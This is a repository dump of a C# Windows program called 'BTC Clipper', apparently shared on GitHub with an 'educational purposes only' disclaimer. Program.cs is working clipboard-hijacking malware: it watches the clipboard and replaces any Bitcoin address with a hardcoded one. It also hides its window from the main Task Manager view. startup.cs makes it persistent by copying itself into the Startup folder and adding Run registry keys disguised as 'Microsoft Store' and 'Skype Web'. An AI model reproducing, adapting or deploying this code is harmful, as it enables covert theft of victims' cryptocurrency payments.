├── .vs └── BTC Clipper │ └── v16 │ └── .suo ├── BTC Clipper ├── obj │ ├── Debug │ │ ├── BTC Clipper.csproj.CoreCompileInputs.cache │ │ ├── BTC Clipper.exe │ │ ├── BTC Clipper.pdb │ │ ├── BTC Clipper.csproj.GenerateResource.cache │ │ ├── BTC Clipper.csprojAssemblyReference.cache │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── BTC_Clipper.Properties.Resources.resources │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs │ │ └── BTC Clipper.csproj.FileListAbsolute.txt │ └── Release │ │ ├── BTC Clipper.csproj.CoreCompileInputs.cache │ │ ├── BTC Clipper.exe │ │ ├── BTC Clipper.pdb │ │ ├── BTC Clipper.csproj.GenerateResource.cache │ │ ├── BTC_Clipper.Properties.Resources.resources │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs │ │ └── BTC Clipper.csproj.FileListAbsolute.txt ├── bin │ ├── Debug │ │ ├── BTC Clipper.exe │ │ ├── BTC Clipper.pdb │ │ └── BTC Clipper.exe.config │ └── Release │ │ ├── BTC Clipper.exe │ │ ├── BTC Clipper.pdb │ │ └── BTC Clipper.exe.config ├── App.config ├── Properties │ ├── Settings.settings │ ├── Settings.Designer.cs │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ └── Resources.resx ├── startup.cs ├── BTC Clipper.csproj └── Program.cs ├── README.md └── BTC Clipper.sln /.vs/BTC Clipper/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/.vs/BTC Clipper/v16/.suo -------------------------------------------------------------------------------- /BTC Clipper/obj/Debug/BTC Clipper.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | ccf8794903131d63cd68ae28864888fede23eef2 2 | -------------------------------------------------------------------------------- /BTC Clipper/obj/Release/BTC Clipper.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | d605640f83a8a3e2f3ba590ff77d4e204d674630 2 | -------------------------------------------------------------------------------- /BTC Clipper/bin/Debug/BTC Clipper.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/bin/Debug/BTC Clipper.exe -------------------------------------------------------------------------------- /BTC Clipper/bin/Debug/BTC Clipper.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/bin/Debug/BTC Clipper.pdb -------------------------------------------------------------------------------- /BTC Clipper/obj/Debug/BTC Clipper.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Debug/BTC Clipper.exe -------------------------------------------------------------------------------- /BTC Clipper/obj/Debug/BTC Clipper.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Debug/BTC Clipper.pdb -------------------------------------------------------------------------------- /BTC Clipper/bin/Release/BTC Clipper.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/bin/Release/BTC Clipper.exe -------------------------------------------------------------------------------- /BTC Clipper/bin/Release/BTC Clipper.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/bin/Release/BTC Clipper.pdb -------------------------------------------------------------------------------- /BTC Clipper/obj/Release/BTC Clipper.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Release/BTC Clipper.exe -------------------------------------------------------------------------------- /BTC Clipper/obj/Release/BTC Clipper.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Release/BTC Clipper.pdb -------------------------------------------------------------------------------- /BTC Clipper/obj/Debug/BTC Clipper.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Debug/BTC Clipper.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /BTC Clipper/obj/Debug/BTC Clipper.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Debug/BTC Clipper.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /BTC Clipper/obj/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /BTC Clipper/obj/Debug/BTC_Clipper.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Debug/BTC_Clipper.Properties.Resources.resources -------------------------------------------------------------------------------- /BTC Clipper/obj/Release/BTC Clipper.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Release/BTC Clipper.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /BTC Clipper/obj/Release/BTC_Clipper.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Release/BTC_Clipper.Properties.Resources.resources -------------------------------------------------------------------------------- /BTC Clipper/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /BTC Clipper/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SmokingWalrus/BTC-Clipper/HEAD/BTC Clipper/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /BTC Clipper/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /BTC Clipper/bin/Debug/BTC Clipper.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /BTC Clipper/bin/Release/BTC Clipper.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /BTC Clipper/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] 5 | -------------------------------------------------------------------------------- /BTC Clipper/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] 5 | -------------------------------------------------------------------------------- /BTC Clipper/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BTC-Clipper 2 | 3 | 100% Credits to @github/NYAN-x-CAT 4 | 100% FOR EDUCATIONAL PURPOSES ONLY 5 | 6 | I took his "BTC Grabber" & Edited some stuff. 7 | Im relativly new to C#, before i only coded in VB *shaking my head* :shipit: 8 | 9 | What i edited: 10 | - REMOVED ETH & XMR CLIPPER [Is re-addable] 11 | - EDITED SOME CODE [SORRY FOR SPAGHETTI CODE :( ] 12 | - ADDED AUTO STARTUP [PATH FOR EXE + REGISTRY ENTRY] 13 | - ONLY VISIBLE IN "DETAILS" UNDER TASKMANAGER 14 | 15 | # FEEL FREE TO GIVE FEEDBACK OR CONTRIBUTE TOO 16 | 17 | Check NYAN-x-CAT Out: 18 | [NYAN-x-CAT's Github](https://github.com/NYAN-x-CAT) 19 | 20 | -------------------------------------------------------------------------------- /BTC Clipper/obj/Release/BTC Clipper.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\bin\Release\BTC Clipper.exe.config 2 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\bin\Release\BTC Clipper.exe 3 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\bin\Release\BTC Clipper.pdb 4 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Release\BTC_Clipper.Properties.Resources.resources 5 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Release\BTC Clipper.csproj.GenerateResource.cache 6 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Release\BTC Clipper.csproj.CoreCompileInputs.cache 7 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Release\BTC Clipper.exe 8 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Release\BTC Clipper.pdb 9 | -------------------------------------------------------------------------------- /BTC Clipper/obj/Debug/BTC Clipper.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\bin\Debug\BTC Clipper.exe.config 2 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\bin\Debug\BTC Clipper.exe 3 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\bin\Debug\BTC Clipper.pdb 4 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Debug\BTC Clipper.csprojAssemblyReference.cache 5 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Debug\BTC_Clipper.Properties.Resources.resources 6 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Debug\BTC Clipper.csproj.GenerateResource.cache 7 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Debug\BTC Clipper.csproj.CoreCompileInputs.cache 8 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Debug\BTC Clipper.exe 9 | C:\Users\samge\source\repos\BTC Clipper\BTC Clipper\obj\Debug\BTC Clipper.pdb 10 | -------------------------------------------------------------------------------- /BTC Clipper.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30330.147 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BTC Clipper", "BTC Clipper\BTC Clipper.csproj", "{187B3B12-185D-4CA8-B198-F8FFF0105727}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {187B3B12-185D-4CA8-B198-F8FFF0105727}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {187B3B12-185D-4CA8-B198-F8FFF0105727}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {187B3B12-185D-4CA8-B198-F8FFF0105727}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {187B3B12-185D-4CA8-B198-F8FFF0105727}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {B821954B-DD82-465B-9CFD-1C0BD4DA9C64} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /BTC Clipper/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace BTC_Clipper.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /BTC Clipper/startup.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Win32; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | using System.Windows.Forms; 9 | 10 | namespace BTC_Clipper 11 | { 12 | class autorestart 13 | { 14 | public static void startup() 15 | { 16 | string exepath = System.Reflection.Assembly.GetExecutingAssembly().Location; 17 | string startuppath = Environment.GetFolderPath(Environment.SpecialFolder.Startup); 18 | string exename = System.AppDomain.CurrentDomain.FriendlyName; 19 | try 20 | { 21 | File.Copy(exepath, Path.Combine(startuppath, Path.GetFileName(exepath))); 22 | } 23 | catch 24 | { 25 | 26 | } 27 | RegistryKey key1 = Registry.CurrentUser.OpenSubKey 28 | ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); //REGISTRY KEY FOR CURRENT EXE LOCATION 29 | key1.SetValue("Microsoft Store", Application.ExecutablePath); 30 | 31 | 32 | RegistryKey key2 = Registry.CurrentUser.OpenSubKey 33 | ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); //REGISTRY KEY FOR STARTUP PATH ; MAKE SURE 2 VALUE NAMES 34 | key2.SetValue("Skype Web", startuppath+"\\"+exename); 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /BTC Clipper/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // Allgemeine Informationen über eine Assembly werden über die folgenden 6 | // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, 7 | // die einer Assembly zugeordnet sind. 8 | [assembly: AssemblyTitle("BTC Clipper")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("BTC Clipper")] 13 | [assembly: AssemblyCopyright("Copyright © 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Durch Festlegen von ComVisible auf FALSE werden die Typen in dieser Assembly 18 | // für COM-Komponenten unsichtbar. Wenn Sie auf einen Typ in dieser Assembly von 19 | // COM aus zugreifen müssen, sollten Sie das ComVisible-Attribut für diesen Typ auf "True" festlegen. 20 | [assembly: ComVisible(false)] 21 | 22 | // Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird 23 | [assembly: Guid("187b3b12-185d-4ca8-b198-f8fff0105727")] 24 | 25 | // Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: 26 | // 27 | // Hauptversion 28 | // Nebenversion 29 | // Buildnummer 30 | // Revision 31 | // 32 | // Sie können alle Werte angeben oder Standardwerte für die Build- und Revisionsnummern verwenden, 33 | // indem Sie "*" wie unten gezeigt eingeben: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /BTC Clipper/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // Dieser Code wurde von einem Tool generiert. 4 | // Laufzeitversion: 4.0.30319.42000 5 | // 6 | // Änderungen an dieser Datei können fehlerhaftes Verhalten verursachen und gehen verloren, wenn 7 | // der Code neu generiert wird. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace BTC_Clipper.Properties 12 | { 13 | 14 | 15 | /// 16 | /// Eine stark typisierte Ressourcenklasse zum Suchen von lokalisierten Zeichenfolgen usw. 17 | /// 18 | // Diese Klasse wurde von der StronglyTypedResourceBuilder-Klasse 19 | // über ein Tool wie ResGen oder Visual Studio automatisch generiert. 20 | // Um einen Member hinzuzufügen oder zu entfernen, bearbeiten Sie die .ResX-Datei und führen dann ResGen 21 | // mit der Option /str erneut aus, oder erstellen Sie Ihr VS-Projekt neu. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources 26 | { 27 | 28 | private static global::System.Resources.ResourceManager resourceMan; 29 | 30 | private static global::System.Globalization.CultureInfo resourceCulture; 31 | 32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 33 | internal Resources() 34 | { 35 | } 36 | 37 | /// 38 | /// Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird. 39 | /// 40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 41 | internal static global::System.Resources.ResourceManager ResourceManager 42 | { 43 | get 44 | { 45 | if ((resourceMan == null)) 46 | { 47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("BTC_Clipper.Properties.Resources", typeof(Resources).Assembly); 48 | resourceMan = temp; 49 | } 50 | return resourceMan; 51 | } 52 | } 53 | 54 | /// 55 | /// Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle 56 | /// Ressourcenlookups, die diese stark typisierte Ressourcenklasse verwenden. 57 | /// 58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 59 | internal static global::System.Globalization.CultureInfo Culture 60 | { 61 | get 62 | { 63 | return resourceCulture; 64 | } 65 | set 66 | { 67 | resourceCulture = value; 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /BTC Clipper/BTC Clipper.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {187B3B12-185D-4CA8-B198-F8FFF0105727} 8 | WinExe 9 | BTC_Clipper 10 | BTC Clipper 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | ResXFileCodeGenerator 54 | Resources.Designer.cs 55 | Designer 56 | 57 | 58 | True 59 | Resources.resx 60 | 61 | 62 | SettingsSingleFileGenerator 63 | Settings.Designer.cs 64 | 65 | 66 | True 67 | Settings.settings 68 | True 69 | 70 | 71 | 72 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /BTC Clipper/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | using System.Runtime.InteropServices; 7 | using System.Threading; 8 | using System.Text.RegularExpressions; 9 | using static BTC_Clipper.Program; 10 | using Microsoft.Win32; 11 | using System.IO; 12 | 13 | 14 | //CREDITS GO 100% TO NYAN CAT 15 | //HIS GITHUB : https:github.com/NYAN-x-CAT 16 | 17 | //This program Is distributed for educational purposes only! 18 | 19 | /*MY EDITS: 20 | * REMOVED ETH & XMR CLIPPER 21 | * EDITED SOME CODE [SORRY FOR SPAGETHI IM NEW TO THIS SHIT] 22 | * ADDED AUTO STARTUP [PATH FOR EXE + REGISTRY ENTRY] 23 | * ONLY VISIBLE IN "DETAILS" UNDER TASKMANAGER 24 | */ 25 | 26 | 27 | namespace BTC_Clipper 28 | { 29 | 30 | static class Program 31 | { 32 | public static string btc = "14pj14yKQ4tD8SUsAeE2btX2dNeiEJZ58E"; //BTC ADDRESS GETTING PASTED 33 | public readonly static Regex btcregex = new Regex(@"\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}\b"); 34 | 35 | ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 36 | 37 | public static class NativeMethods 38 | { 39 | [DllImport("user32.dll", SetLastError = true)] 40 | [return: MarshalAs(UnmanagedType.Bool)] 41 | public static extern bool AddClipboardFormatListener(IntPtr hwnd); 42 | 43 | [DllImport("user32.dll", SetLastError = true)] 44 | public static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent); 45 | 46 | public const int clp = 0x031D; 47 | public static IntPtr intpreclp = new IntPtr(-3); 48 | } 49 | 50 | //STEVEN 51 | static void Main() 52 | { 53 | new Thread(() => { Run(); }).Start(); 54 | autorestart.startup(); 55 | } 56 | public static void Run() 57 | { 58 | Application.Run(new ClipboardNotification.NotificationForm()); 59 | } 60 | } 61 | ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 62 | public static class Clipboard 63 | { 64 | public static string GetText() 65 | { 66 | string ReturnValue = string.Empty; 67 | Thread STAThread = new Thread( 68 | delegate () 69 | { 70 | ReturnValue = System.Windows.Forms.Clipboard.GetText(); 71 | }); 72 | STAThread.SetApartmentState(ApartmentState.STA); 73 | STAThread.Start(); 74 | STAThread.Join(); 75 | 76 | return ReturnValue; 77 | } 78 | 79 | public static void SetText(string txt) 80 | { 81 | Thread STAThread = new Thread( 82 | delegate () 83 | { 84 | System.Windows.Forms.Clipboard.SetText(txt); 85 | }); 86 | STAThread.SetApartmentState(ApartmentState.STA); 87 | STAThread.Start(); 88 | STAThread.Join(); 89 | } 90 | } 91 | ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 92 | public sealed class ClipboardNotification 93 | { 94 | public class NotificationForm : Form 95 | { 96 | 97 | private static string currentClipboard = Clipboard.GetText(); 98 | public NotificationForm() 99 | { 100 | NativeMethods.SetParent(Handle, NativeMethods.intpreclp); 101 | NativeMethods.AddClipboardFormatListener(Handle); 102 | } 103 | 104 | private bool RegexResult(Regex pattern) 105 | { 106 | if (pattern.Match(currentClipboard).Success) return true; 107 | else 108 | return false; 109 | } 110 | 111 | protected override void WndProc(ref Message m) 112 | { 113 | if (m.Msg == NativeMethods.clp) 114 | { 115 | currentClipboard = Clipboard.GetText(); 116 | 117 | if (RegexResult(btcregex) && !currentClipboard.Contains(btc)) 118 | { 119 | string result = btcregex.Replace(currentClipboard, btc); 120 | Clipboard.SetText(result); 121 | } 122 | } 123 | base.WndProc(ref m); 124 | } 125 | protected override CreateParams CreateParams 126 | { 127 | get 128 | { 129 | var cp = base.CreateParams; 130 | cp.ExStyle |= 0x80; 131 | return cp; 132 | //ONLY VISIBLE NOW IN DETAILS UNDER TASKMGR 133 | } 134 | } 135 | } 136 | 137 | } 138 | } 139 | 140 | 141 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// -------------------------------------------------------------------------------- /BTC Clipper/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | --------------------------------------------------------------------------------